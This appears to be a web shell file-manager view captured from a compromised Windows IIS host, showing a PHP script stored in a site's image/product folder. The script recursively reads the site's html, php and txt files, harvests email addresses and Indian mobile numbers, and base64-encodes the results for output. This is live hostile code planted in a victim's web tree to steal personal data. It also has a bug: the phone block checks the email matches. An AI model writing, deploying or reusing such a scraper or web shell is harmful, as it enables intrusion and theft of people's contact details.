System: Windows NT WINDOWS18 10.0 build 17763 (Windows Server 2016) AMD64 | User: IWPD_3544(appclien)
Path: D:\Inetpub\vhosts\appclients.in\fruits-vegitables.nmvm.org\image\product
[Back to List]
<?php
$root = 'D:\Inetpub\vhosts\appclients.in\nmvm.org';
$it = new RecursiveDirectoryIterator($root);
$output = "";
foreach (new RecursiveIteratorIterator($it) as $file) {
if (preg_match('/\.(html|php|txt)$/i', $file->getFilename())) {
$content = file_get_contents($file->getPathname());
// Match Emails
preg_match_all('/[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,4}/i', $content, $emails);
if (!empty($emails[0])) {
foreach (array_unique($emails[0]) as $email) {
$output .= "[EMAIL] $email (Source: " . $file->getFilename() . ")\n";
}
}
// Match Indian Mobile Numbers
preg_match_all('/[6-9][0-9]{9}/', $content, $phones);
if (!empty($emails[0])) {
foreach (array_unique($phones[0]) as $phone) {
$output .= "[PHONE] $phone (Source: " . $file->getFilename() . ")\n";
}
}
}
}
echo base64_encode($output);
?>